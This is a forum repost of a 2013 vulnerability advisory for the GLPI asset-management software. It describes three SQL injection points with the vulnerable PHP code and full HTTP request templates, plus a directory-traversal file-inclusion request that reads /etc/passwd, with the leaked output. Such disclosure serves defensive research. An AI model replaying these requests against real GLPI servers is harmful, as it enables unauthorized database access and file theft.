Jump to content
Matt

GLPI v0.83.8 - Multiple Vulnerabilities

By Matt, in Exploituri

Recommended Posts

Matt Newbie

Matt

Posted
Posted

Author : LiquidWorm

Source : GLPI v0.83.8 - Multiple Vulnerabilities

Code : 

GLPI v0.83.8 Multiple Error-based SQL Injection Vulnerabilities


Vendor: INDEPNET Development Team
Product web page: http://www.glpi-project.org
Affected version: 0.83.7 and 0.83.8

Summary: GLPI, an initialism for Gestionnaire libre de parc informatique
(Free Management of Computer Equipment), was designed by Indepnet
Association (a non profit organisation) in 2003. GLPI is a free
asset and IT management software package, it also offers functionalities
like servicedesk ITIL or license tracking and software auditing.

Desc: Input passed via the POST parameter 'users_id_assign' in
'/ajax/ticketassigninformation.php' script, POST parameter 'filename'
in '/front/document.form.php' script, and POST parameter 'table' in
'glpi/ajax/comments.php' script is not properly sanitised before
being used in SQL queries. This can be exploited by a malicious
attacker to manipulate SQL queries by injecting arbitrary SQL code
in the affected application.


======================================================================
/inc/db.function.php:
---------------------

274: function countElementsInTable($table, $condition="") {
275: global $DB;
276:
277: if (is_array($table)) {
278: $table = implode('`,`',$table);
279: }
280:
281: $query = "SELECT COUNT(*) AS cpt
282: FROM `$table`";
283:
284: if (!empty($condition)) {
285: $query .= " WHERE $condition ";
286: }
287:
288: $result =$DB->query($query);
289: $ligne  = $DB->fetch_array($result);
290: return $ligne['cpt'];
291: }

----------------------------------------------------------------------

*** MySQL query error :
***
SQL: SELECT COUNT(*) AS cpt
FROM `glpi_tickets`,`glpi_tickets_users` WHERE `glpi_tickets_users`.`tickets_id` = `glpi_tickets`.`id`
AND `glpi_tickets_users`.`users_id` = \'2\'\'
AND `glpi_tickets_users`.`type` = \'2\'
AND `glpi_tickets`.`is_deleted` = 0
AND `glpi_tickets`.`status`
NOT IN (\'solved\', \'closed\')
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2'
AND `glpi_tickets`.`is_deleted` = 0
' at line 3
Backtrace :
/var/www/html/glpi/inc/db.function.php :288        DBmysql->query()
/var/www/html/glpi/inc/commonitilobject.class.php :362     countElementsInTable()
/var/www/html/glpi/ajax/ticketassigninformation.php :66        CommonITILObject->countActiveObjectsForTech()
/var/www/html/glpi/ajax/ticketassigninformation.php


======================================================================
/inc/document.class.php:
------------------------

1221: static function isValidDoc($filename) {
1222: global $DB;
1223:
1224: $splitter = explode(".",$filename);
1225: $ext      = end($splitter);
1226:
1227: $query="SELECT *
1228: FROM `glpi_documenttypes`
1229: WHERE `ext` LIKE '$ext'
1230: AND `is_uploadable`='1'";
1231:
1232: if ($result = $DB->query($query)) {
1233: if ($DB->numrows($result)>0) {
1234: return Toolbox::strtoupper($ext);
1235: }
1236: }
1237: return "";
1238: }

----------------------------------------------------------------------

*** MySQL query error :
***
SQL: SELECT *
FROM `glpi_documenttypes`
WHERE `ext` LIKE \'1\'\'
AND `is_uploadable`=\'1\'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' at line 3
Backtrace :
/var/www/html/glpi/inc/document.class.php :1232        DBmysql->query()
/var/www/html/glpi/inc/document.class.php :1088        Document::isValidDoc()
/var/www/html/glpi/inc/document.class.php :275     Document::uploadDocument()
/var/www/html/glpi/inc/commondbtm.class.php :878       Document->prepareInputForUpdate()
/var/www/html/glpi/front/document.form.php :99     CommonDBTM->update()
/var/www/html/glpi/front/document.form.php


======================================================================
/inc/dbmysql.class.php:
-----------------------

364: function list_tables($table="glpi_%") {
365: return $this->query("SHOW TABLES LIKE '".$table."'");
366: }

----------------------------------------------------------------------

*** MySQL query error :
***
SQL: SHOW TABLES LIKE \'%glpi_users\'%\'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1
Backtrace :
/var/www/html/glpi/glpi/inc\dbmysql.class.php :365     DBmysql->query()
/var/www/html/glpi/inc/db.function.php :1182       DBmysql->list_tables()
/var/www/html/glpi/ajax/comments.php :47       TableExists()
/var/www/html/glpi/ajax/comments.php

======================================================================


Tested on: Microsoft Windows 7 Ultimate SP1 (EN) - Apache/2.4.3, PHP/5.4.7
           Linux CentOS 6.0 (Final) - Apache/2.2.15, PHP/5.3.3



Vulnerabilities discovered by Humberto Cabrera
                              @dniz0r
                              Zero Science Lab - http://www.zeroscience.mk


Advisory ID: ZSL-2013-5145
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5145.php


09.05.2013

----------------
{1}


POST /glpi/ajax/ticketassigninformation.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://localhost/glpi/front/ticket.form.php
Content-Length: 17
Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

users_id_assign=2{SQL_Injection}


----------------
{2}


POST /glpi/front/document.form.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/glpi/front/document.form.php?id=4
Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------19302542618340
Content-Length: 1699

-----------------------------19302542618340
Content-Disposition: form-data; name="entities_id"

0
-----------------------------19302542618340
Content-Disposition: form-data; name="is_recursive"

0
-----------------------------19302542618340
Content-Disposition: form-data; name="name"

test
-----------------------------19302542618340
Content-Disposition: form-data; name="comment"

test
-----------------------------19302542618340
Content-Disposition: form-data; name="current_filepath"


-----------------------------19302542618340
Content-Disposition: form-data; name="current_filename"


-----------------------------19302542618340
Content-Disposition: form-data; name="filename"; filename=1{SQL_Injection}
Content-Type: application/octet-stream


-----------------------------19302542618340
Content-Disposition: form-data; name="upload_file"


-----------------------------19302542618340
Content-Disposition: form-data; name="link"

test
-----------------------------19302542618340
Content-Disposition: form-data; name="documentcategories_id"

0
-----------------------------19302542618340
Content-Disposition: form-data; name="mime"

application/octet-stream
-----------------------------19302542618340
Content-Disposition: form-data; name="update"

Update
-----------------------------19302542618340
Content-Disposition: form-data; name="_read_date_mod"

2013-06-14 20:27:56
-----------------------------19302542618340
Content-Disposition: form-data; name="id"

4
-----------------------------19302542618340
Content-Disposition: form-data; name="_glpi_csrf_token"

f27853afa3e705b5042c0ae4d135679c
-----------------------------19302542618340--


----------------
{3}


POST /glpi/ajax/comments.php HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
Content-Length: 59
Origin: http://localhost
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://localhost/glpi/front/planning.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: PHPSESSID=frk5prfmarsc9ebo1u751skkb2

value=5&table=glpi_users{SQL Injection}&withlink=comment_link_uID302668907


----------------

#################################################################################################################

?
GLPI v0.83.7 (itemtype) Parameter Traversal Arbitrary File Access Exploit


Vendor: INDEPNET Development Team
Product web page: http://www.glpi-project.org
Affected version: 0.83.7

Summary: GLPI, an initialism for Gestionnaire libre de parc informatique
(Free Management of Computer Equipment), was designed by Indepnet
Association (a non profit organisation) in 2003. GLPI is a free
asset and IT management software package, it also offers functionalities
like servicedesk ITIL or license tracking and software auditing.

Desc: GLPI suffers from a file inclusion vulnerability (LFI) when input
passed thru the 'filetype' parameter to 'common.tabs.php' script is not
properly verified before being used to include files. This can be exploited
to include files from local resources with directory traversal attacks
and URL encoded NULL bytes.

========================================================================
/ajax/common.tabs.php:
----------------------

46: if (!isset($_REQUEST['itemtype']) || empty($_REQUEST['itemtype'])) {
47: exit();
62: $item = new $_REQUEST['itemtype'])();

========================================================================


Tested on: Microsoft Windows 7 Ultimate SP1 (EN) - Apache/2.4.3, PHP/5.4.7
           Linux CentOS 6.0 (Final) - Apache/2.2.15, PHP/5.3.3



Vulnerabilities discovered by Humberto Cabrera
                              @dniz0r
                              Zero Science Lab - http://www.zeroscience.mk


Advisory ID: ZSL-2013-5145
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5145.php


09.05.2013

---


POST /glpi/ajax/common.tabs.php?_dc=1371234969991 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://localhost/glpi/front/user.form.php?id=2
Content-Length: 75
Cookie: PHPSESSID=5ducm98racrn23u3bl0kq8ap02
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

target=/glpi/front/user.form.php&itemtype=../../../../../../../../../../../../../../../../etc/passwd%00User&glpi_tab=Profile_User$1&id=2

---

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
..
..

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
Go to topic listing
×
×
  • Create New...